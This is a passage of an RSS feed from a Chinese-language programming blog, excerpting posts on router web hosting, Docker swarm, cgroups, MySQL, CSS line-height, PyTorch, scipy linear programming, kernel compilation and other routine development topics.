      <link>https://bchobby.github.io/posts/3125a3c86b28a1b27f701c1938b44283/</link>
      <pubDate>Wed, 31 Jan 2018 19:16:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3125a3c86b28a1b27f701c1938b44283/</guid>
      <description>Finding Lane Lines on the Road&#xA;The goals / steps of this project are the following:&#xA;Make a pipeline that finds lane lines on the roadReflect on your work in a written report Reflection&#xA;1. Describe your pipeline. As part of the description, explain how youmodified the draw_lines() function.&#xA;My pipelineconsisted of 5 steps. First, I got a image-copy and converted the images tograyscale:&#xA;Then I usedgauss blur to reduce the noise point</description>
    </item>
    <item>
      <title>小米路由器MINI架设WEB服务</title>
      <link>https://bchobby.github.io/posts/1b20ea0645a27cd1272bd8a12f49531c/</link>
      <pubDate>Mon, 29 Jan 2018 18:04:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b20ea0645a27cd1272bd8a12f49531c/</guid>
      <description>@(标签) [平穷发挥我的想象] [Openwrt] [Markdown] [Linux]&#xA;闲来无事 折腾点事，自从腾讯云和阿里云取消了免费的大学生服务器套餐。 ╮(╯▽╰)╭活在梦里，我已经不是大学生了呢。阿里上一个月几十上百的服务器租费，看着能让我冒一阵鸡皮疙瘩。想来自己真心没有闲钱来租一个服务器玩。要是弄个老机器开着当服务器。耗电不说，整天嗡嗡嗡的脑袋疼。思来想去，唯一满足以下几点的能让我架设服务器的只有家里的路由器了。&#xA;全天工作 ：家里的路由器全天工作，星期一二四六会有个重启，喘口气；&#xA;功耗低 ：12w不到的功耗，用一小时也就0.012度电，整个路由器算上家里的宽带消耗也就5~6块钱不到；&#xA;噪音小 ：路由器也没机箱风扇，噪声基本为0；&#xA;性能尚可：有1核580MHZ，128RAM，跑一组静态服务，一组动态服务足以；&#xA;硬件准备 吃灰的U盘 ： 路由器的FLASH是在太小，仅仅12MB，一定是不够用的，所以需要在路由器上挂载一个U盘。小米路由器MINI ： 本主，MINI内核基于Openwrt，这能做的事情就太多了啊。同局域网电脑 ： 用于对MINI进行配置，启动关闭服务等。 刷开发版固件 软件准备 下载开发版的ROM ： 雷猴王想的很周全，刷了开发版ROM，并开启SSH后，据说没有保修，观众请三思。 ROM下载地址为：MiWiFi 官网。由于我用的是MINI，于是就下载官网开发版ROM，操作流程如下：&#xA;步骤（1）步骤（2）步骤（3）如果你是其他型号，自行查阅相关型号官方说明，路由器刷机步骤则参照截图中官方刷机教程。下载小米路由SSH工具 ：有了SSH工具，用PuTTY和WinScp就可以搞事情了。将下载好的SSH工具重命名为miwifi_ssh.bin，放置于之前刷机用的U盘根目录即可。下载位置如图所示:&#xA;组装轻量级WEB服务 使用PuTTY开始搭建 接下来使用之前提到的PuTTY，点击文章中的高亮部分，即可到官网下载。下载好后，双击运行，IP地址填路由器网关地址，默认为192.168.31.1 端口号为SSH默认端口 22。然后点击Open按钮。输入用户名为root，密码为下载SSH工具时显示给你的root密码。当看到大大的ARE YOU OK，说明已经进入到小米路由的Shell中了，这是成功的一大步。&#xA;编译好的Python 这里直接提供编译好的Python下载，这个链接为MINI型号下编译好的Python2.7.5。通过之前提到的WinScp,直接解压好了，像windows平时复制黏贴文件一样，拖拽WinScp界面右侧U盘盘符下的/extdisks/sda1/python文件夹下即可。&#xA;配置Python环境变量 python的环境变量在Openwrt中的配置也很简单，打开/etc/profile 进行添加环境变量，参考如下：&#xA;vi /etc/profile 然后在文本最后，添加如下注册内容：&#xA;export PATH=&#34;/extdisks/sda1/python/bin:$PATH&#34; 然后按ESC，再按两遍 Shift + z，保存好退出。然后直接更新环境变量。&#xA;source /etc/profile 由此Python环境变量即配置完成。尝试shell中输入python2.7，看到python呼出，即大功告成。&#xA;安装Bottle和Markdown2 在SSH下，直接运行如下：&#xA;pip install bottle markdown2 pip工具就能下载好bottle轻量web服务框架以及python的markdown2标记语言库。&#xA;开启静态服务器 首先在U盘根目录下创建WEB文件夹。然后修改系统 httpd。&#xA;vi /etc/sysapihttpd/sysapihttpd.conf 然后按 Ctrl + F，到文本末尾最后一个“｝”前添加如下符合nginx语法的配置：</description>
    </item>
    <item>
      <title>关于VMworkstation Server 服务无法启动解决的方法</title>
      <link>https://bchobby.github.io/posts/31fa3dcfa282ad460bc516709de1a4a4/</link>
      <pubDate>Mon, 29 Jan 2018 09:46:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31fa3dcfa282ad460bc516709de1a4a4/</guid>
      <description>方法一：打开我的电脑—-&amp;gt;&amp;gt;管理—–&amp;gt;&amp;gt; 服务—&amp;gt;&amp;gt;下面把VMware Authorization Service 这个服务手动开启以下就行了，注意用管理员权限执行服务；&#xA;方法二：如果上面还未能打开，打开文件路径C:\ProgramData\VMware\hostd找到dataStores.xml 删除，再重新打开服务（即执行方法一）；&#xA;方法三：如果还是不行，可能是VMware Authorization Service 这个服务不再你的服务列表里，就比较麻烦了，因为这是一个授权服务，没有它，虚拟机时开不了的，需要我们以管理员的身份创建一个，下面是具体办法： 1、以管理员的身份运行命令模式 2.执行下面命令 sc create VMAuthdService binpath= “C:\Program Files (x86)\VMware\vmware-authd.exe” 注意不要有空格，C:\Program Files (x86)\VMware 这个就是你的虚拟机的安装路径，根据自己安装路径修改即可找到下面这个文件vmware-authd.exe 执行成功后再重启服务就可以运行虚拟机了</description>
    </item>
    <item>
      <title>line-height 3种设置方式的区别</title>
      <link>https://bchobby.github.io/posts/f73bba443819344924037372cd0b6bef/</link>
      <pubDate>Mon, 29 Jan 2018 02:49:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f73bba443819344924037372cd0b6bef/</guid>
      <description>前言：平常写CSS习惯性的写 line-height: 1.5em，也见过类似line-height: 1.5，line-height: 150%这种写法，但是从来没有想过这三者有什么区别，最近突然看到有人提到这个问题，很感兴趣，于是查资料自己尝试了一下。&#xA;首先有一点要明确的是，line-height是具有继承性的，如果直接在某个元素上使用line-height，那么这三种写法是没有区别的，比如给所有的p标签添加行高属性：&#xA;p{line-height: 1.5em;} p{line-height: 1.5;} p{line-height: 150%;} 复制代码 最后的效果是一样的。&#xA;这三种方式的区别在于，给父元素设置行高的时候子元素的继承方式。&#xA;假如我们有一个父div类名为parent1，另一个父div类名为parent2，均包含了一个类名为child的子div，HTML结构如下：&#xA;&amp;lt;div class=&#34;parent1&#34;&amp;gt; &amp;lt;div class=&#34;child&#34;&amp;gt;line-height: 1.5em;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; &amp;lt;div class=&#34;parent2&#34;&amp;gt; &amp;lt;div class=&#34;child&#34;&amp;gt;line-height: 1.5;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; 复制代码 CSS如下：&#xA;.parent1{ font-size:14px; line-height: 1.5em; background: #999; padding:10px } .parent2{ font-size:14px; line-height: 1.5; background: #999; padding:10px } .child{ font-size:26px; background: #ccc; } 复制代码 此时的页面如下截图：&#xA;可以看到，当设置line-height: 1.5em时，很明显子div的文字已经超出自己的行高范围了，设置line-height: 1.5时子div的文字没有超出自己的行高。&#xA;这是由于CSS继承时的计算方式区别造成的，如示例，当我们给类名为parent1的父div设置line-height：1.5em时，该div的font-size为14，此时经过计算父div的line-height为14px*1.5=21px，然后子div的line-height就会继承21px这个值，而子div的font-size为26px，自然会超出自己的行高范围。&#xA;而当我们给类名为parent2的父div设置line-height：1.5时，子div会直接继承line-height：1.5，然后计算26px*1.5=39px，不会超出自己的行高范围。&#xA;经过测试line-height: 150%和line-height: 1.5em相同，都是先计算然后把固定的行高继承给子元素，所以我们可以总结一下，继承line-height的时候，带单位的先计算再继承，不带单位的直接继承。&#xA;以上就是我对line-height这个属性一点浅显的认识。&#xA;参考资料： www.cnblogs.com/fengzheng12…</description>
    </item>
    <item>
      <title>docker集群管理之swarm mode</title>
      <link>https://bchobby.github.io/posts/10f6b7f0818f02d011f818fc18ad0275/</link>
      <pubDate>Sat, 27 Jan 2018 00:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10f6b7f0818f02d011f818fc18ad0275/</guid>
      <description>序言 当有多台物理机的时候，就要考虑使用集群的模式了，那么docker如何来使用集群来进行管理呢？在这里主要使用的是docker自带的swarm mode，也就是docker集群的管理和编排。所谓的编排就是指多台集群的管理，主机的配置，容器的调度等。&#xA;swarm mode是docker engine中自带的一种模式，很容易使用，并且无须安装其他的软件。&#xA;swarm mode的使用 在使用swarm mode的时候，几台主机上都要先安装好docker，架构如下所示：&#xA;将主机名为docker-ce的机器作为manager节点，也就是管理节点，而docker1和docker2作为工作节点。&#xA;1、 创建swarm集群&#xA;[root@docker-ce swarm]# docker swarm init --advertise-addr 192.168.1.222 （初始化集群，节点之间相互通信的ip地址为192.168.1.222，默认端口为2377）&#xA;Swarm initialized: current node (pk4p936t4e03cpse3izuws07s) is now a manager.&#xA;To add a worker to this swarm, run the following command:&#xA;docker swarm join --token SWMTKN-1-60h71geyd7z297jfy2icektmq3ha3n5nego2znytgrzqix768e-f36psbhrnrdn9h0bop6np22xm 192.168.1.222:2377&#xA;To add a manager to this swarm, run &#39;docker swarm join-token manager&#39; and follow the instructions.&#xA;[root@docker-ce swarm]# docker info|grep -i swarm（swarm模式已经激活）</description>
    </item>
    <item>
      <title>Mysql DBA 高级运维学习之路-mysql数据库入门知识</title>
      <link>https://bchobby.github.io/posts/ad046410c9099afe486746a37382dfe3/</link>
      <pubDate>Fri, 26 Jan 2018 14:23:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad046410c9099afe486746a37382dfe3/</guid>
      <description>1.MySQL数据库介绍 MySQL是一种关系型数据库管理系统，关系型数据库的特点是将数据保存在不同的表中，在将这些表放在不同的数据库中，而不是将所有数据统一放在一个大仓库里，这样设计增加了MySQL的读取速度，灵活性可管理性也得到了很大的提高，访问以及管理MySQL数据库的最常用标准化语言为SQL结构化查询语言。&#xA;2.为什么选择MySQL数据库 MySQL数据库的到底有哪些优势和特点呢，让大家都选择它？&#xA;原因可能有以下几点：&#xA;（1）MySQL性能卓越，服务稳定，很少出现异常宕机。&#xA;（2）MySQL开放源代码且无版权制约，自主性及使用成本低。&#xA;（3）MySQL历史悠久，社区及用户非常活跃，遇到问题，可以寻求帮助。&#xA;（4）MySQL 软件体积小，安装使用简单，并且易于维护，安装及维护成本低。&#xA;（5）MySQL品牌口碑效应，使得企业无需考虑就直接用之 ，LAMP， LNMP（LEMP）流行架构。&#xA;（6）MySQL支持多种操作系统，提供多种API接口，支持多种开发语言，特别对流行的PHP语言有很好的支持。&#xA;3. Mysql 数据库分类与版本升级 MySQL数据库的官方网站为http://www.mysql.com。&#xA;分为社区版和商业版而这两个版本又各自分为四个版本一次发布，这四个版本为：Alpha、Beta、RC和GA版本。&#xA;这四种发布版本之间的说明及区别，如下：&#xA;(1) Alpha版&#xA;Alpha版一般只在开发的公司内部运行，不对外公开。主要是开发者对自己的产品进行测试。&#xA;(2) Beta版&#xA;Beta版一般是完成功能的开发和所有的测试工作之后的产品，不会存在较大的功能或性能BUG,邀请或提供给用户体验与测试，以便更全面的测试软件的不足之处或存在的问题。&#xA;(3) RC版&#xA;RC版属于生产环境发布之前的一个小版本或候选版，是Beta版本的测试结果收集到的BUG或缺陷之处等收集到的信息，进行修复和完善之后的产品。&#xA;(4) GA版：&#xA;GA 版属于软件产品正式发布的版本，也称生产版本的产品，一般情况下企业的生产环境都会选择GA版本的MySQL软件。&#xA;转载于:https://blog.51cto.com/10642812/2065446</description>
    </item>
    <item>
      <title>idea jdk版本设置</title>
      <link>https://bchobby.github.io/posts/22e30830677b6d8b9ec613046c7beb47/</link>
      <pubDate>Fri, 26 Jan 2018 10:34:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22e30830677b6d8b9ec613046c7beb47/</guid>
      <description>idea作为功能强大，又好用的工具，广受青睐。&#xA;但是功能强大势必有个问题，就是内容太多，不易掌握。&#xA;今天分享的问题就是idea的jdk版本设置有哪几个地方。总共5个地方。&#xA;1、工程编译用的jdk,如果提示编译的jdk版本不符合要求，就要修改这边的：&#xA;2、其他的jdk版本设置：&#xA;3、其他的jdk版本设置:&#xA;4、其他的jdk版本设置：&#xA;5、其他的jdk版本设置：</description>
    </item>
    <item>
      <title>Docker 入门笔记 10 - Control groups</title>
      <link>https://bchobby.github.io/posts/480ec5f627ce5b581c09ef9b5f1e246b/</link>
      <pubDate>Wed, 24 Jan 2018 18:14:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/480ec5f627ce5b581c09ef9b5f1e246b/</guid>
      <description>Linux上的Docker Engine也依赖于另一种称为CGroup的技术。CGroups 最初叫Process Container，顾名思义就是将进程放到一个组里进行统一控制。后来改名叫Control Groups。CGroups 是 Control Groups 的缩写，它为资源管理提供了一个统一框架，可以把系统任务及其子任务整合到按资源等级划分的不同任务组内。并且对这些任务组实施不同的资源分配方案。CGroups可以限制、记录、隔离进程组所使用的物理资源（包括CPU、memory、I/O等）。&#xA;cgroups有如下四个有趣的特点：&#xA;cgroups的API以一个伪文件系统的方式实现，即用户可以通过文件操作实现cgroups的组织管理。cgroups的组织管理操作单元可以细粒度到线程级别，用户态代码也可以针对系统分配的资源创建和销毁cgroups，从而实现资源再分配和管理。所有资源管理的功能都以“subsystem（子系统）”的方式实现，接口统一。子进程创建之初与其父进程处于同一个cgroups的控制组。 相关概念 任务（task）。在 cgroups 中，任务就是系统的一个进程；&#xA;控制族群（control group）。控制族群就是一组按照某种标准划分的进程。Cgroups 中的资源控制都是以控制族群为单位实现。一个进程可以加入到某个控制族群，也从一个进程组迁移到另一个控制族群。一个进程组的进程可以使用 cgroups 以控制族群为单位分配的资源，同时受到 cgroups 以控制族群为单位设定的限制；&#xA;层级（hierarchy）。控制族群可以组织成 hierarchical 的形式，既一颗控制族群树。控制族群树上的子节点控制族群是父节点控制族群的孩子，继承父控制族群的特定的属性；&#xA;子系统（subsystem）。一个子系统就是一个资源控制器，比如 cpu 子系统就是控制 cpu 时间分配的一个控制器。子系统必须附加（attach）到一个层级上才能起作用，一个子系统附加到某个层级以后，这个层级上的所有控制族群都受到这个子系统的控制。&#xA;子系统 cgroups提供了subsystem(resource controllers)作为资源的控制器&#xA;cpu (since Linux 2.6.24; CONFIG_CGROUP_SCHED) 用来限制cgroup的CPU使用率。cpuacct (since Linux 2.6.24; CONFIG_CGROUP_CPUACCT) 统计cgroup的CPU的使用率。cpuset (since Linux 2.6.24; CONFIG_CPUSETS) 绑定cgroup到指定CPUs和NUMA节点。memory (since Linux 2.6.25; CONFIG_MEMCG) 统计和限制cgroup的内存的使用率，包括process memory, kernel memory, 和swap。devices (since Linux 2.6.26; CONFIG_CGROUP_DEVICE) 限制cgroup创建(mknod)和访问设备的权限。freezer (since Linux 2.6.28; CONFIG_CGROUP_FREEZER) suspend和restore一个cgroup中的所有进程。net_cls (since Linux 2.</description>
    </item>
    <item>
      <title>如此多的深度学习框架，为什么我选择PyTorch？</title>
      <link>https://bchobby.github.io/posts/cef9ab1bd074a991240f4bfcef96f293/</link>
      <pubDate>Wed, 24 Jan 2018 10:01:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cef9ab1bd074a991240f4bfcef96f293/</guid>
      <description>小编说：目前研究人员正在使用的深度学习框架不尽相同，本文介绍了6种常见的深度学习框架，PyTorch与他们相比又有哪些优势呢？本文选自《深度学习框架PyTorch：入门与实践》&#xA;1 PyTorch的诞生 2017年1月，Facebook人工智能研究院（FAIR）团队在GitHub上开源了PyTorch，并迅速占领GitHub热度榜榜首。&#xA;作为一个2017年才发布，具有先进设计理念的框架，PyTorch的历史可追溯到2002年就诞生于纽约大学的Torch。Torch使用了一种不是很大众的语言Lua作为接口。Lua简洁高效，但由于其过于小众，用的人不是很多，以至于很多人听说要掌握Torch必须新学一门语言就望而却步（其实Lua是一门比Python还简单的语言）。&#xA;考虑到Python在计算科学领域的领先地位，以及其生态完整性和接口易用性，几乎任何框架都不可避免地要提供Python接口。终于，在2017年，Torch的幕后团队推出了PyTorch。PyTorch不是简单地封装Lua Torch提供Python接口，而是对Tensor之上的所有模块进行了重构，并新增了最先进的自动求导系统，成为当下最流行的动态图框架。&#xA;PyTorch一经推出就立刻引起了广泛关注，并迅速在研究领域流行起来。图1-2所示为Google指数，PyTorch自发布起关注度就在不断上升，截至2017年10月18日，PyTorch的热度已然超越了其他三个框架（Caffe、MXNet和Theano），并且其热度还在持续上升中。&#xA;PyTorch 和 Caffe、Theano、MXNet 的 Google 指数对比（类别为科学）&#xA;2 常见的深度学习框架简介 随着深度学习的发展，深度学习框架如雨后春笋般诞生于高校和公司中。尤其是近两年，Google、Facebook、Microsoft等巨头都围绕深度学习重点投资了一系列新兴项目，他们也一直在支持一些开源的深度学习框架。&#xA;目前研究人员正在使用的深度学习框架不尽相同，有 TensorFlow 、Caffe、Theano、Keras等，常见的深度学习框架如图2所示。这些深度学习框架被应用于计算机视觉、语音识别、自然语言处理与生物信息学等领域，并获取了极好的效果。本部分主要介绍当前深度学习领域影响力比较大的几个框架，限于笔者个人使用经验和了解程度，对各个框架的评价可能有不准确的地方。&#xA;常见的深度学习框架&#xA;2.1 Theano Theano最初诞生于蒙特利尔大学 LISA 实验室，于2008年开始开发，是第一个有较大影响力的Python深度学习框架。&#xA;Theano 是一个 Python 库，可用于定义、优化和计算数学表达式，特别是多维数组（numpy.ndarray）。在解决包含大量数据的问题时，使用 Theano 编程可实现比手写 C 语言更快的速度，而通过 GPU 加速，Theano 甚至可以比基于 CPU 计算的 C 语言快上好几个数量级。Theano 结合了计算机代数系统（Computer Algebra System，CAS）和优化编译器，还可以为多种数学运算生成定制的 C 语言代码。对于包含重复计算的复杂数学表达式的任务而言，计算速度很重要，因此这种 CAS 和优化编译器的组合是很有用的。对需要将每一种不同的数学表达式都计算一遍的情况，Theano 可以最小化编译/解析的计算量，但仍然会给出如自动微分那样的符号特征。&#xA;Theano诞生于研究机构，服务于研究人员，其设计具有较浓厚的学术气息，但在工程设计上有较大的缺陷。一直以来，Theano因难调试、构建图慢等缺点为人所诟病。为了加速深度学习研究，人们在它的基础之上，开发了Lasagne、Blocks、PyLearn2和Keras等第三方框架，这些框架以Theano为基础，提供了更好的封装接口以方便用户使用。&#xA;2017年9月28日，在Theano 1.0正式版即将发布前夕，LISA实验室负责人，深度学习三巨头之一的Yoshua Bengio 宣布Theano即将停止开发：“Theano is Dead”。尽管Theano即将退出历史舞台，但作为第一个Python深度学习框架，它很好地完成了自己的使命，为深度学习研究人员的早期拓荒提供了极大的帮助，同时也为之后深度学习框架的开发奠定了基本设计方向： 以计算图为框架的核心，采用GPU加速计算。&#xA;2017年11月，LISA实验室在 GitHub 上开启了一个初学者入门项目，旨在帮助实验室新生快速掌握机器学习相关的实践基础，而该项目正是使用PyTorch作为教学框架。&#xA;点评：由于Theano已经停止开发，不建议作为研究工具继续学习。&#xA;2.2 TensorFlow 2015年11月10日，Google宣布推出全新的机器学习开源工具TensorFlow。 TensorFlow 最初是由 Google 机器智能研究部门的 Google Brain 团队开发，基于Google 2011年开发的深度学习基础架构DistBelief构建起来的。TensorFlow主要用于进行机器学习和深度神经网络研究， 但它是一个非常基础的系统，因此也可以应用于众多领域。由于Google在深度学习领域的巨大影响力和强大的推广能力，TensorFlow一经推出就获得了极大的关注，并迅速成为如今用户最多的深度学习框架。</description>
    </item>
    <item>
      <title>用python做线性规划</title>
      <link>https://bchobby.github.io/posts/8cf98f84732340e90abc4c3f321fbe16/</link>
      <pubDate>Mon, 22 Jan 2018 17:14:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cf98f84732340e90abc4c3f321fbe16/</guid>
      <description> 比如要做这道题吧，需要用到scipy库里面的函数&#xA;scipy.optimize.linprog(c, A_ub=None, b_ub=None, A_eq=None, b_eq=None, bounds=None, method=&#39;simplex&#39;, callback=None, options=None)&#xA;直接贴代码吧&#xA;from scipy import optimize as op import numpy as np c=np.array([2,3,-5]) A_ub=np.array([[-2,5,-1],[1,3,1]]) B_ub=np.array([-10,12]) A_eq=np.array([[1,1,1]]) B_eq=np.array([7]) x1=(0,7) x2=(0,7) x3=(0,7) res=op.linprog(-c,A_ub,B_ub,A_eq,B_eq,bounds=(x1,x2,x3)) print(res) 很容易发现，c指的应该是要求最大值的函数的系数数组，A_ub是应该是不等式未知量的系数矩阵，仔细观察的人应该发现，为什么第一行里面写的是[-2,5,-1]而不是[2,5,-1]呢，应该要与图里对应才对啊，原来这不等式指的是&amp;lt;=的不等式，那如果是&amp;gt;=呢，乘个负号就行了。A_eq就是其中等式的未知量系数矩阵了。B_ub就是不等式的右边了，B_eq就是等式右边了。bounds的话，指的就是每个未知量的范围了。我们看一下结果&#xA;fun: -14.571428571428571 message: &#39;Optimization terminated successfully.&#39; nit: 2 slack: array([3.85714286, 0.57142857, 6.42857143, 7. , 0. ]) status: 0 success: True x: array([6.42857143, 0.57142857, 0. ])重点关注的就是第一行和最后一行了，第一行是整个结果，最后一行是每个x的结果。为什么第一行是负的呢？原来这个函数其实是求最小值的，那么求最大值，怎么办呢？很简单，仔细观察的人应该发现，之前的函数里面，我写的是-c，而不是c。那么这个函数的出来的结果其实就是-c的最小值，但很明显这恰恰是c最大值的相反数。那么答案就是14.57了，以上。 </description>
    </item>
    <item>
      <title>三点坐标确定圆心坐标</title>
      <link>https://bchobby.github.io/posts/459399eeb16e108253b766bed2f3900e/</link>
      <pubDate>Mon, 22 Jan 2018 09:11:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/459399eeb16e108253b766bed2f3900e/</guid>
      <description>struct Point&#xA;{&#xA;double x,y;&#xA;friend Point operator - (Point a,Point b) //重载友元运算符&#xA;{&#xA;Point temp;&#xA;temp.x = a.x - b.x;&#xA;temp.y = a.y - b.y;&#xA;return temp;&#xA;}&#xA;};&#xA;Point get_pc1(Point p1, Point p2, Point p3) //求圆心&#xA;{&#xA;double a, b, c, d, e, f;&#xA;Point p;&#xA;a = 2*(p2.x-p1.x);&#xA;b = 2*(p2.y-p1.y);&#xA;c = p2.x*p2.x+p2.y*p2.y-p1.x*p1.x-p1.y*p1.y;&#xA;d = 2*(p3.x-p2.x);&#xA;e = 2*(p3.y-p2.y);&#xA;f = p3.x*p3.x+p3.y*p3.y-p2.x*p2.x-p2.y*p2.y;&#xA;p.x = (b*f-e*c)/(b*d-e*a);</description>
    </item>
    <item>
      <title>Linux内核编译</title>
      <link>https://bchobby.github.io/posts/b0074d11e926d42515a2b50e5975f516/</link>
      <pubDate>Sun, 21 Jan 2018 23:02:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0074d11e926d42515a2b50e5975f516/</guid>
      <description>尝试编译下Linux-kernel 4.14.14，使用Ubuntu 16.04 64位 系统。 Linux内核官网： https://www.kernel.org/ 内核下载链接： https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.14.14.tar.xz&#xA;kernel-4.14.14 内核文件约96MB，解压后得到linux-4.14.14目录约900MB。在终端中切换到解压后的linux-4.14.14文件目录，执行下面的命令：&#xA;1. .config 复制一份当前系统编译时的配置，在/usr/src目录下&#xA;$ ls /usr/src/ linux-headers-4.10.0-35 linux-headers-4.8.0-36 linux-headers-4.10.0-35-generic linux-headers-4.8.0-36-generic 其中，在 linux-headers-*-generic目录下存在 .config文件，复制一份到linux-4.14.14目录下&#xA;linux-4.14.14$ cp /usr/src/linux-headers-4.10.0-35-generic/.config . 2. 编译配置 可能出现的问题&#xA;$ make menuconfig *** Unable to find the ncurses libraries or the *** required header files. *** &#39;make menuconfig&#39; requires the ncurses libraries. *** *** Install ncurses (ncurses-devel) and try again. *** scripts/kconfig/Makefile:202: recipe for target &#39;scripts/kconfig/dochecklxdialog&#39; failed make[1]: *** [scripts/kconfig/dochecklxdialog] Error 1 Makefile:543: recipe for target &#39;menuconfig&#39; failed make: *** [menuconfig] Error 2 编译出了问题，提示缺少ncurses相关的库，安装就好</description>
    </item>
    <item>
      <title>Redis非本地连接，连接异常</title>
      <link>https://bchobby.github.io/posts/fc817f15431383ffbeba12cb0215b2e3/</link>
      <pubDate>Sat, 20 Jan 2018 13:54:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc817f15431383ffbeba12cb0215b2e3/</guid>
      <description>之前在本地连redis一直都没什么问题，今天把redis服务放到虚拟机上，本地启动测试代码报了连接异常：&#xA;Exception in thread &#34;main&#34; redis.clients.jedis.exceptions.JedisConnectionException: Could not get a resource from the pool&#xA;at redis.clients.util.Pool.getResource(Pool.java:53) at redis.clients.jedis.JedisPool.getResource(JedisPool.java:226) at com.mmall.commom.RedisPool.getJedis(RedisPool.java:38) at com.mmall.commom.RedisPool.main(RedisPool.java:46) Caused by: redis.clients.jedis.exceptions.JedisConnectionException: java.net.ConnectException: Connection refused: connect at redis.clients.jedis.Connection.connect(Connection.java:207) at redis.clients.jedis.BinaryClient.connect(BinaryClient.java:93) at redis.clients.jedis.BinaryJedis.connect(BinaryJedis.java:1767) at redis.clients.jedis.JedisFactory.makeObject(JedisFactory.java:106) at org.apache.commons.pool2.impl.GenericObjectPool.create(GenericObjectPool.java:868) at org.apache.commons.pool2.impl.GenericObjectPool.borrowObject(GenericObjectPool.java:435) at org.apache.commons.pool2.impl.GenericObjectPool.borrowObject(GenericObjectPool.java:363) at redis.clients.util.Pool.getResource(Pool.java:49) ... 3 more Caused by: java.net.ConnectException: Connection refused: connect at java.net.DualStackPlainSocketImpl.waitForConnect(Native Method) at java.net.DualStackPlainSocketImpl.socketConnect(DualStackPlainSocketImpl.java:85) at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350) at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206) at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:188) at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:172) at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392) at java.</description>
    </item>
    <item>
      <title>SSM&#43;Maven管理 Idea2017开发简易图书管理系统</title>
      <link>https://bchobby.github.io/posts/effe698f6854d8c3b214eaacb9eca046/</link>
      <pubDate>Sat, 20 Jan 2018 01:35:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/effe698f6854d8c3b214eaacb9eca046/</guid>
      <description>新手上路开车不稳 不过代码比较好理解 前端用ajax发送请求 和后端注解映射。&#xA;Demo地址: https://github.com/jsphLim/LibrarySystem 欢迎star~~</description>
    </item>
    <item>
      <title>three.js 07-06 之 Sprite 一幅图片多个精灵</title>
      <link>https://bchobby.github.io/posts/65af6a501e9297846c49ae4000f7b976/</link>
      <pubDate>Fri, 19 Jan 2018 15:26:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65af6a501e9297846c49ae4000f7b976/</guid>
      <description>前面谈到通过 THREE.Sprite 创建粒子时，可以通过加载外部图片的方式来格式化粒子。那么，如果一幅图片中包含多种精灵的话，那又该怎么办呢？&#xA;接下来我们就来探讨一下其实现方法，例如咋们有以下图片：&#xA;一幅图片中包含 5 种精灵&#xA;我首先大概来分析一下这张图片，可以看出这张图片一共有 5 种精灵，排列方式是一行平均分布，即每一种精灵在水平方向上（U 方向）都占整幅图片的 1/5 即 0.2；而在垂直方向上（V 方向）都是占 100% 也就是 1/1=1。&#xA;好了，有了上面的分析之后，聪明的读者肯定大概已经知道从整幅图中单独加载每一种精灵的大致思路了。下面我们先给出一个完整示例，代码如下所示：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;示例 07.06 - Particles UV&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;../build/three.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/controls/OrbitControls.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/libs/stats.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/libs/dat.gui.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../jquery/jquery-3.2.1.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; body { /* 设置 margin 为 0，并且 overflow 为 hidden，来完成页面样式 */ margin: 0; overflow: hidden; } /* 统计对象的样式 */ #Stats-output { position: absolute; left: 0px; top: 0px; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>QT 删除QStringList中的重复项（相同项）</title>
      <link>https://bchobby.github.io/posts/04ed7d6bc4f863db80fd71955f4eebf5/</link>
      <pubDate>Fri, 19 Jan 2018 10:50:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04ed7d6bc4f863db80fd71955f4eebf5/</guid>
      <description> 删除QStringList中的重复项（相同项）：&#xA;1、删除相同项函数&#xA;void removeListSame(QStringList *list) { for (int i = 0; i &amp;lt; list-&amp;gt;count(); i++) { for (int k = i + 1; k &amp;lt; list-&amp;gt;count(); k++) { if ( list-&amp;gt;at(i) == list-&amp;gt;at(k)) { list-&amp;gt;removeAt(k); k--; } } } } 2、执行例子&#xA;int main(int argc, char *argv[]) { QCoreApplication a(argc, argv); QStringList list; list&amp;lt;&amp;lt;&#34;chen&#34;&amp;lt;&amp;lt;&#34;li&#34;&amp;lt;&amp;lt;&#34;long&#34;&amp;lt;&amp;lt;&#34;li&#34;&amp;lt;&amp;lt;&#34;long&#34;; qDebug()&amp;lt;&amp;lt;&#34;list: &#34;&amp;lt;&amp;lt;list; removeListSame(&amp;amp;list); qDebug()&amp;lt;&amp;lt;&#34;list: &#34;&amp;lt;&amp;lt;list; return a.exec(); } 3、执行结果 </description>
    </item>
